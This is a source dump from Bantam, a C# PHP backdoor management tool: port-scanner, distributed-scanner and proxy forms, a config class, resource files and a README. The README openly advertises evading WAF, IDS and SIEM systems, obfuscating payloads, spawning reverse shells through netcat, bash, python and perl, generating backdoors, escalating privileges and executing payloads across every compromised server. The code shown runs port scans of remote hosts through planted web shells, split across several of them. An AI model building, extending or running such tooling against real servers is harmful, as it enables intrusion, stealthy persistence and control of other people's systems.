17 | /// 18 | public enum PORTS_OPTIONS 19 | { 20 | ONE_TO_1024 = 1, 21 | COMMON_PORTS, 22 | ALL_PORTS 23 | } 24 | 25 | /// 26 | /// Default constructor 27 | /// 28 | /// The selected Shell URL to use as the Server to do the port scanning 29 | public PortScanner(string shellUrl) 30 | { 31 | InitializeComponent(); 32 | 33 | ShellUrl = shellUrl; 34 | 35 | this.Text += " - (" + ShellUrl + ")"; 36 | } 37 | 38 | /// 39 | /// Main port scan routine 40 | /// 41 | /// 42 | /// 43 | private async void btnScan_Click(object sender, EventArgs e) 44 | { 45 | if (btnScan.Enabled == false) { 46 | return; 47 | } 48 | 49 | string target = textBoxHost.Text; 50 | 51 | if (string.IsNullOrEmpty(target) 52 | && !Helper.IsValidIPv4(target) 53 | && !Helper.IsValidUri(target)) { 54 | labelDynStatus.Text = "Invalid IP/Url."; 55 | return; 56 | } 57 | 58 | btnScan.Enabled = false; 59 | 60 | if (BantamMain.Shells.ContainsKey(ShellUrl)) { 61 | string portsCode = string.Empty; 62 | 63 | bool encryptResponse = BantamMain.Shells[ShellUrl].ResponseEncryption; 64 | int ResponseEncryptionMode = BantamMain.Shells[ShellUrl].ResponseEncryptionMode; 65 | 66 | if (int.TryParse(textBoxPorts.Text, out int outVal)) { 67 | if (!string.IsNullOrEmpty(textBoxPorts.Text)) { 68 | portsCode = "$ports = array('" + textBoxPorts.Text + "');"; 69 | labelDynStatus.Text = ""; 70 | } else { 71 | if (comboBoxCommonPorts.SelectedIndex != 0) { 72 | if (comboBoxCommonPorts.SelectedIndex == (int)PORTS_OPTIONS.ONE_TO_1024) { 73 | portsCode = PhpBuilder.PortsScannerPorts1To1024(); 74 | labelDynStatus.Text = "** May fail unless on local IP"; 75 | } else if (comboBoxCommonPorts.SelectedIndex == (int)PORTS_OPTIONS.COMMON_PORTS) { 76 | labelDynStatus.Text = "** May fail unless on local IP"; 77 | portsCode = PhpBuilder.PortScannerPortsCommon(); 78 | } else if (comboBoxCommonPorts.SelectedIndex == (int)PORTS_OPTIONS.ALL_PORTS) { 79 | portsCode = PhpBuilder.PortScannerPortsAll(); 80 | labelDynStatus.Text = "** May fail unless on local IP"; 81 | } 82 | } 83 | } 84 | string phpCode = PhpBuilder.PortScanner(textBoxHost.Text, portsCode, encryptResponse); 85 | BantamMain.ExecutePHPCodeDisplayInRichTextBox(ShellUrl, phpCode, "Opened Ports - " + textBoxHost.Text, encryptResponse, ResponseEncryptionMode); 86 | } 87 | } 88 | btnScan.Enabled = true; 89 | } 90 | 91 | /// 92 | /// 93 | /// 94 | /// 95 | /// 96 | private void comboBoxCommonPorts_SelectedIndexChanged(object sender, EventArgs e) 97 | { 98 | btnScan.Enabled = true; 99 | if (comboBoxCommonPorts.SelectedIndex != 0) { 100 | textBoxPorts.Text = ""; 101 | } 102 | } 103 | 104 | /// 105 | /// 106 | /// 107 | /// 108 | /// 109 | private void textBoxPorts_TextChanged(object sender, EventArgs e) 110 | { 111 | comboBoxCommonPorts.SelectedIndex = 0; 112 | btnScan.Enabled = true; 113 | } 114 | 115 | /// 116 | /// 117 | /// 118 | /// 119 | /// 120 | private void textBoxPorts_KeyPress(object sender, KeyPressEventArgs e) 121 | { 122 | if (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar)) { 123 | e.Handled = true; 124 | } 125 | } 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /bantam/Forms/ProxyOptions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Collections.ObjectModel; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | using bantam.Classes; 8 | 9 | namespace bantam.Forms 10 | { 11 | public partial class ProxyOptions : Form 12 | { 13 | /// 14 | /// Singleton instance 15 | /// 16 | private static ProxyOptions instance; 17 | 18 | /// 19 | /// Proxy Types to be populated in the combo box 20 | /// 21 | private static readonly ReadOnlyCollection proxyTypes = new List { 22 | "socks", 23 | "http" 24 | }.AsReadOnly(); 25 | 26 | /// 27 | /// Default Constructor 28 | /// 29 | public ProxyOptions() 30 | { 31 | InitializeComponent(); 32 | 33 | foreach (var proxyType in proxyTypes) { 34 | comboBoxProxyType.Items.Add(proxyType); 35 | } 36 | 37 | comboBoxProxyType.SelectedIndex = 0; 38 | } 39 | 40 | /// 41 | /// Singleton accessor for spawning a single instance of this form 42 | /// 43 | /// 44 | public static ProxyOptions getInstance() 45 | { 46 | if (instance == null) { 47 | instance = new ProxyOptions(); 48 | } 49 | return instance; 50 | } 51 | 52 | /// 53 | /// Once opened, the single instance of this form is kept alive to keep settings 54 | /// 55 | /// 56 | /// 57 | private void ProxyOptions_FormClosing(object sender, FormClosingEventArgs e) 58 | { 59 | e.Cancel = true; 60 | this.Hide(); 61 | } 62 | 63 | /// 64 | /// Main routine for testing and connecting to a proxy 65 | /// 66 | /// 67 | /// 68 | private async void buttonConnect_Click(object sender, EventArgs e) 69 | { 70 | buttonConnect.Enabled = false; 71 | if (!string.IsNullOrEmpty(txtBoxProxyUrl.Text)) { 72 | if (int.TryParse(txtBoxProxyPort.Text, out int port)) { 73 | if (comboBoxProxyType.Text == "http") { 74 | WebRequestHelper.AddHttpProxy(txtBoxProxyUrl.Text, txtBoxProxyPort.Text); 75 | } else if (comboBoxProxyType.Text == "socks") { 76 | WebRequestHelper.AddSocksProxy(txtBoxProxyUrl.Text, port); 77 | } 78 | 79 | try { 80 | var task = WebRequestHelper.GetRequest("http://ipv4.icanhazip.com/"); 81 | 82 | if (await Task.WhenAny(task, Task.Delay(Config.TimeoutMS)) == task) { 83 | if (string.IsNullOrEmpty(task.Result)) { 84 | MessageBox.Show("Unable to connect to proxy try again...", "Connection Failed"); 85 | WebRequestHelper.ResetHttpClient(); 86 | } else { 87 | MessageBox.Show("Your IP Is : " + task.Result, "Connection Success"); 88 | buttonConnect.Enabled = true; 89 | buttonResetProxy.Enabled = true; 90 | this.Close(); 91 | } 92 | } else { 93 | MessageBox.Show("Unable to connect to proxy try again..."); 94 | WebRequestHelper.ResetHttpClient(); 95 | buttonResetProxy.Enabled = false; 96 | } 97 | } 98 | catch (Exception) { 99 | MessageBox.Show("Unable to connect to proxy try again..."); 100 | WebRequestHelper.ResetHttpClient(); 101 | buttonResetProxy.Enabled = false; 102 | } 103 | } 104 | } 105 | buttonConnect.Enabled = true; 106 | } 107 | 108 | /// 109 | /// Resets / Drops Proxy connection 110 | /// 111 | /// 112 | /// 113 | private void buttonResetProxy_Click(object sender, EventArgs e) 114 | { 115 | WebRequestHelper.ResetHttpClient(); 116 | buttonResetProxy.Enabled = false; 117 | } 118 | 119 | /// 120 | /// 121 | /// 122 | /// 123 | /// 124 | private void txtBoxProxyPort_KeyPress(object sender, KeyPressEventArgs e) 125 | { 126 | if (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar)) { 127 | e.Handled = true; 128 | } 129 | } 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![License](http://img.shields.io/badge/license-MIT-green.svg)](LICENSE) 2 | [![Codacy Badge](https://api.codacy.com/project/badge/Grade/cc36189ec3a047a1b8b1ccbff7438726)](https://www.codacy.com?utm_source=github.com&utm_medium=referral&utm_content=gellin/bantam&utm_campaign=Badge_Grade) 3 | 4 | # Bantam 5 | An advanced PHP backdoor management tool, with a lightweight server footprint, multi-threaded communication, and an advanced payload generation and obfuscation tool. Features end to end encryption with request unique encryption keys, and payload streaming designed to bypass WAF, IDS, SIEM systems. It incorporates several 6 | payload randomization and obfuscation techniques to help prevent detection when encryption is not possible. Bantam is an ideal tool for linux PHP post exploitation privesc making it a breeze to upload enumeration scripts. Bantam also has a plugin system making it easy to add scripts and features to the ui. 7 | It is programmed in C# and runs on windows, and Linux using wine. 8 | 9 | ![](documentation/forms/main.png) 10 | 11 | ## Features 12 | #### End to end request & response encryption - [encryption flow](documentation/encryption.png) 13 | - AES-256 bit encryption on request & response data using openssl or mcrypt 14 | - Response encryption keys are newly generated and embedded into the request payload for every request making every response unique, preventing detection from WAF and IDS systems 15 | - Request encryption keys can be embedded using a pre-shared key/iv, or use a pre-shared key with a randomly generated IV that is passed through a known request variable making every request signature unique 16 | #### Main form - [[img]](documentation/forms/main.png) 17 | 18 | - Get Shell Information - [[img]](documentation/forms/main.png) 19 | - Add Shell - [[img]](documentation/forms/add_shell.png) 20 | - Eval tool - Opens a text editor that will eval the input text as a php payload 21 | - Remote port scanner - Uses the bantam server to scan remote ports 22 | - PHPInfo viewer - Opens the phpinfo page in an html window 23 | - Self Editor - Edit the Bantam code stored on the server 24 | - Linux - Helpful cmds and files. Dynamically included from [settings.xml](bantam/settings/settings.xml) (passwd, ps aux, ifconfig, ..etc) 25 | - Wndows - Helpful cmds and files. Dynamically included from [settings.xml](bantam/settings/settings.xml) (net user, hosts, ipconfig, ..etc) 26 | - Windows Screenshot Grabber - Grabs a screenshot of the current screen 27 | - Plugins - Dynamically include a php payload into the ui to be executed by setting up a plugin into the [settings.xml](bantam/settings/settings.xml) 28 | - Reset connection - Removes the current shell and session info from ui, re-adds the shell and tests the connection 29 | - Update ping - Updates the ping to the selected shell 30 | - Edit settings - Opens the current shell settings into the ui to modify 31 | - Copy url - Copyies the shell url to the clipboard 32 | - Remove - Removes the shell from the ui 33 | - Save Shells to xml 34 | - Open Saved Shells from XML 35 | #### Reverse Shell - [[img]](documentation/forms/reverse_shell.png) 36 | - Spawns a reverse shell to the indicated IP/Port 37 | - Methods supported - perl, netcat, netcat with pipe, telnet with pipe, php, bash, python, barrage(all) 38 | - Bypass disabled_functions & open_basedir with [chankro](https://github.com/TarlogicSecurity/Chankro/) 39 | #### Backdoor generator - [[img]](documentation/forms/backdoor_gen.png) 40 | - Generates a php backdoor payload tailored for your settings 41 | #### User Agent Switcher 42 | - Randomize or customize the useragent used in requests 43 | #### Proxy Settings 44 | - Supports Socks and HTTP proxies 45 | #### Mass Execute 46 | - Executes php payloads on all servers 47 | - Port Scanner - Distributed port scan that splits the work between selected servers and port scans a remote host - [[img]](documentation/forms/port_scanner.png) 48 | - Plugins - Dynamically include a custom payload from the [settings.xml](bantam/settings/settings.xml) into the gui to be mass executed 49 | #### File Browser - [[img]](documentation/forms/filebrowser.png) 50 | - Transverses file directories, and saves directory tree during current session 51 | - Copy File 52 | - Read File Content 53 | - Delete file 54 | - Rename File 55 | - Upload File 56 | - Vectors - [LinEnum.sh](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) / [LinuxPrivChecker.sh](https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py) 57 | #### Console - [[img]](documentation/forms/console.png) 58 | - Send shell commands to the server using the vector selected in options form, saves history during current session 59 | #### Logs 60 | - Shows various logs and errors that could be generated by the application or server, adjustable verbosity in options form. 61 | #### Options - [[img]](documentation/forms/options.png) 62 | - Logging 63 | - Log level - Determines which logs will be shown, higher level will show more logs 64 | - Enable Global logs 65 | - Request settings 66 | - Max execution time - allows requests to run for max php execution time 67 | - Disable error logs - disables error logging for requests 68 | - Shell code vector - Shell code execution method (system/exec/shell_exec/passthru/popen/backticks) 69 | - Timeout (milliseconds) - Default request timeout 70 | - Max Post size (KiB) - Default max post size 71 | - Max Cookie size (B) - Locked to 4096 bytes 72 | - Request Obfuscation 73 | - Inject Random Comments 74 | - Injects comments with random text into the php payloads 75 | - Comment frequency - Determines how many locations to inject comments into 76 | - Max Length - Determines the max length of the comments 77 | - Randomize PHP Var Names 78 | - Randomizes variable names in php payloads, Always on 79 | - Max length - Determines the max length of the random php varnames 80 | 81 | ## Credits 82 | - [Socks Sharp](https://github.com/extremecodetv/SocksSharp) - Socks proxy handler for HttpClient 83 | - [Chankro](https://github.com/TarlogicSecurity/Chankro/) - Disabled functions / Open Base Dir bypass -------------------------------------------------------------------------------- /bantam/Forms/BrowserView.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /bantam/Forms/PortScanner.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /bantam/Forms/ProxyOptions.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /bantam/Forms/ReverseShell.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /bantam/Forms/ModifyShellInfo.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /bantam/Forms/DistributedPortScanner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | using bantam.Classes; 5 | 6 | namespace bantam.Forms 7 | { 8 | public partial class DistributedPortScanner : Form 9 | { 10 | /// 11 | /// Max number of TCP ports 12 | /// 13 | private const int PORT_MAX = 65535; 14 | 15 | /// 16 | /// Default constructor 17 | /// 18 | public DistributedPortScanner() 19 | { 20 | InitializeComponent(); 21 | } 22 | 23 | /// 24 | /// 25 | /// 26 | /// 27 | /// 28 | private void DistributedScanner_Load(object sender, EventArgs e) 29 | { 30 | foreach (var shell in BantamMain.Shells) { 31 | checkedListBoxShells.Items.Add(shell.Key); 32 | } 33 | } 34 | 35 | /// 36 | /// Main Distributed scanning routine 37 | /// 38 | /// 39 | /// 40 | private async void btnScan_Click(object sender, EventArgs e) 41 | { 42 | if (string.IsNullOrEmpty(textBoxTarget.Text)) { 43 | lblStatus.Text = "Invalid IP/Url."; 44 | return; 45 | } 46 | 47 | string target = textBoxTarget.Text; 48 | 49 | if (!Helper.IsValidIPv4(target) 50 | && !Helper.IsValidUri(target)) { 51 | lblStatus.Text = "Invalid IP/Url."; 52 | return; 53 | } 54 | 55 | if (string.IsNullOrEmpty(textBoxStartPort.Text) 56 | || string.IsNullOrEmpty(textBoxEndPort.Text)) { 57 | lblStatus.Text = "Invalid port."; 58 | return; 59 | } 60 | 61 | int startPort = Convert.ToInt32(textBoxStartPort.Text); 62 | int endPort = Convert.ToInt32(textBoxEndPort.Text); 63 | 64 | if (startPort > endPort 65 | || endPort <= 0 || startPort <= 0 66 | || startPort > PORT_MAX || endPort > PORT_MAX) { 67 | lblStatus.Text = "Invalid port."; 68 | return; 69 | } 70 | 71 | btnScan.Enabled = false; 72 | 73 | string windowTitle = "Open Ports ( " + target + " )"; 74 | RichTextBox rtb = GuiHelper.RichTextBoxDialog(windowTitle, string.Empty); 75 | 76 | int shellsCount = checkedListBoxShells.CheckedItems.Count; 77 | int portsPerShell = ((endPort - startPort) / shellsCount); 78 | 79 | int iter = 1; 80 | foreach (var checkedItem in checkedListBoxShells.CheckedItems) { 81 | string portsCode = string.Empty; 82 | string scannedRange = string.Empty; 83 | if (iter == shellsCount) { 84 | if (iter == 1) { 85 | scannedRange = startPort.ToString() + ", " + (endPort).ToString(); 86 | portsCode = "$ports = range(" + scannedRange + ");"; 87 | } else { 88 | scannedRange = (((iter - 1) * portsPerShell) + 1).ToString() + ", " + (endPort).ToString(); 89 | portsCode = "$ports = range(" + scannedRange + ");"; 90 | } 91 | } else { 92 | if (iter == 1) { 93 | scannedRange = startPort.ToString() + ", " + (iter * portsPerShell).ToString(); 94 | portsCode = "$ports = range(" + scannedRange + ");"; 95 | } else { 96 | scannedRange = (((iter - 1) * portsPerShell) + 1).ToString() + ", " + (iter * portsPerShell).ToString(); 97 | portsCode = "$ports = range(" + scannedRange + ");"; 98 | } 99 | iter++; 100 | } 101 | 102 | bool encryptResponse = true; 103 | string shellUrl = checkedListBoxShells.GetItemText(checkedItem); 104 | 105 | string responseText = "[" + shellUrl + "] - returned ports (" + scannedRange + ") - \r\n"; 106 | string phpCode = PhpBuilder.PortScanner(target, portsCode, encryptResponse); 107 | 108 | lblStatus.Text = "Scanning."; 109 | 110 | BantamMain.ExecutePHPCodeDisplayInRichTextBox(shellUrl, phpCode, windowTitle, encryptResponse, (int)CryptoHelper.RESPONSE_ENCRYPTION_TYPES.OPENSSL, false, rtb, responseText); 111 | 112 | btnScan.Enabled = true; 113 | } 114 | } 115 | 116 | private void textBoxStartPort_KeyPress(object sender, KeyPressEventArgs e) 117 | { 118 | if (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar)) { 119 | e.Handled = true; 120 | } 121 | } 122 | 123 | private void textBoxEndPort_KeyPress(object sender, KeyPressEventArgs e) 124 | { 125 | if (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar)) { 126 | e.Handled = true; 127 | } 128 | } 129 | 130 | private void textBoxTarget_TextChanged(object sender, EventArgs e) 131 | { 132 | if (string.IsNullOrEmpty(textBoxTarget.Text)) { 133 | btnScan.Enabled = false; 134 | } else { 135 | btnScan.Enabled = true; 136 | } 137 | } 138 | 139 | private void selectAllToolStripMenuItem_Click(object sender, EventArgs e) 140 | { 141 | for (int i = 0; i < checkedListBoxShells.Items.Count; i++) { 142 | checkedListBoxShells.SetItemCheckState(i, CheckState.Checked); 143 | } 144 | } 145 | 146 | private void deSelectAllToolStripMenuItem_Click(object sender, EventArgs e) 147 | { 148 | for (int i = 0; i < checkedListBoxShells.Items.Count; i++) { 149 | checkedListBoxShells.SetItemCheckState(i, CheckState.Unchecked); 150 | } 151 | } 152 | } 153 | } 154 | -------------------------------------------------------------------------------- /bantam/Forms/Options.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 10, 21 122 | 123 | 124 | 25 125 | 126 | -------------------------------------------------------------------------------- /bantam/Classes/Config.cs: -------------------------------------------------------------------------------- 1 | namespace bantam.Classes 2 | { 3 | /// 4 | /// Config Class, Holds default and global config / option variables 5 | /// 6 | static class Config 7 | { 8 | /// 9 | /// Default constructor 10 | /// 11 | static Config() 12 | { 13 | //todo this should be in our global xml file 14 | 15 | logLevel = LogHelper.LOG_LEVEL.ERROR; 16 | commentFrequency = 50; 17 | commentMaxLength = 24; 18 | maxPostSizeKiB = 8192; 19 | phpVaribleNameMaxLength = 16; 20 | timeoutMS = 20000; //20 sec 21 | phpShellCodeExectionValue = 0; 22 | 23 | enableLogging = true; 24 | enableGlobalMessageBoxes = true; 25 | maxExecutionTime = false; 26 | disableErrorLogs = true; 27 | injectRandomComments = true; 28 | 29 | defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"; 30 | } 31 | 32 | /// 33 | /// 34 | /// 35 | private static string defaultUserAgent; 36 | public static string DefaultUserAgent { 37 | get { 38 | return defaultUserAgent; 39 | } 40 | set { 41 | defaultUserAgent = value; 42 | } 43 | } 44 | 45 | /// 46 | /// 47 | /// 48 | private static bool enableLogging; 49 | public static bool EnableLogging { 50 | get { 51 | return enableLogging; 52 | } 53 | set { 54 | enableLogging = value; 55 | } 56 | } 57 | 58 | /// 59 | /// 60 | /// 61 | private static bool enableGlobalMessageBoxes; 62 | public static bool EnableGlobalMessageBoxes { 63 | get { 64 | return enableGlobalMessageBoxes; 65 | } 66 | set { 67 | enableGlobalMessageBoxes = value; 68 | } 69 | } 70 | 71 | /// 72 | /// 73 | /// 74 | private static LogHelper.LOG_LEVEL logLevel; 75 | public static LogHelper.LOG_LEVEL LogLevel { 76 | get { 77 | return logLevel; 78 | } 79 | set { 80 | logLevel = value; 81 | } 82 | } 83 | 84 | /// 85 | /// 86 | /// 87 | private static bool maxExecutionTime; 88 | public static bool MaxExecutionTime { 89 | get { 90 | return maxExecutionTime; 91 | } 92 | set { 93 | maxExecutionTime = value; 94 | } 95 | } 96 | 97 | /// 98 | /// 99 | /// 100 | private static bool disableErrorLogs; 101 | public static bool DisableErrorLogs { 102 | get { 103 | return disableErrorLogs; 104 | } 105 | set { 106 | disableErrorLogs = value; 107 | } 108 | } 109 | 110 | /// 111 | /// 112 | /// 113 | private static int maxPostSizeKiB; 114 | public static int MaxPostSizeKib { 115 | get { 116 | return maxPostSizeKiB; 117 | } 118 | set { 119 | maxPostSizeKiB = value; 120 | } 121 | } 122 | 123 | /// 124 | /// 125 | /// 126 | private const int maxCookieSizeB = 4096; 127 | public static int MaxCookieSizeB { 128 | get { 129 | return maxCookieSizeB; 130 | } 131 | } 132 | 133 | /// 134 | /// 135 | /// 136 | private static bool injectRandomComments; 137 | public static bool InjectRandomComments { 138 | get { 139 | return injectRandomComments; 140 | } 141 | set { 142 | injectRandomComments = value; 143 | } 144 | } 145 | 146 | /// 147 | /// 148 | /// 149 | private static int commentFrequency; 150 | public static int CommentFrequency { 151 | get { 152 | return commentFrequency; 153 | } 154 | set { 155 | commentFrequency = value; 156 | } 157 | } 158 | 159 | /// 160 | /// 161 | /// 162 | private static int commentMaxLength; 163 | public static int CommentMaxLength { 164 | get { 165 | return commentMaxLength; 166 | } 167 | set { 168 | commentMaxLength = value; 169 | } 170 | } 171 | 172 | /// 173 | /// 174 | /// 175 | private const bool randomizePhpVariableNames = true; 176 | public static bool RandomizePhpVariableNames { 177 | get { 178 | return randomizePhpVariableNames; 179 | } 180 | } 181 | 182 | /// 183 | /// 184 | /// 185 | private static int phpVaribleNameMaxLength; 186 | public static int PhpVariableNameMaxLength { 187 | get { 188 | return phpVaribleNameMaxLength; 189 | } 190 | set { 191 | phpVaribleNameMaxLength = value; 192 | } 193 | } 194 | 195 | /// 196 | /// 197 | /// 198 | private static int timeoutMS; 199 | public static int TimeoutMS { 200 | get { 201 | return timeoutMS; 202 | } 203 | set { 204 | timeoutMS = value; 205 | } 206 | } 207 | 208 | /// 209 | /// 210 | /// 211 | private static int phpShellCodeExectionValue; 212 | public static int PhpShellCodeExectionVectorValue { 213 | get { 214 | return phpShellCodeExectionValue; 215 | } 216 | set { 217 | phpShellCodeExectionValue = value; 218 | } 219 | } 220 | } 221 | } 222 | -------------------------------------------------------------------------------- /bantam/Forms/DistributedPortScanner.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | 124 | 43 125 | 126 | -------------------------------------------------------------------------------- /bantam/Forms/UploadFile.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | 124 | 157, 17 125 | 126 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | [Ll]og/ 26 | 27 | # Visual Studio 2015 cache/options directory 28 | .vs/ 29 | # Uncomment if you have tasks that create the project's static files in wwwroot 30 | #wwwroot/ 31 | 32 | # MSTest test Results 33 | [Tt]est[Rr]esult*/ 34 | [Bb]uild[Ll]og.* 35 | 36 | # NUNIT 37 | *.VisualState.xml 38 | TestResult.xml 39 | 40 | # Build Results of an ATL Project 41 | [Dd]ebugPS/ 42 | [Rr]eleasePS/ 43 | dlldata.c 44 | 45 | # Benchmark Results 46 | BenchmarkDotNet.Artifacts/ 47 | 48 | # .NET Core 49 | project.lock.json 50 | project.fragment.lock.json 51 | artifacts/ 52 | **/Properties/launchSettings.json 53 | 54 | *_i.c 55 | *_p.c 56 | *_i.h 57 | *.ilk 58 | *.meta 59 | *.obj 60 | *.pch 61 | *.pdb 62 | *.pgc 63 | *.pgd 64 | *.rsp 65 | *.sbr 66 | *.tlb 67 | *.tli 68 | *.tlh 69 | *.tmp 70 | *.tmp_proj 71 | *.log 72 | *.vspscc 73 | *.vssscc 74 | .builds 75 | *.pidb 76 | *.svclog 77 | 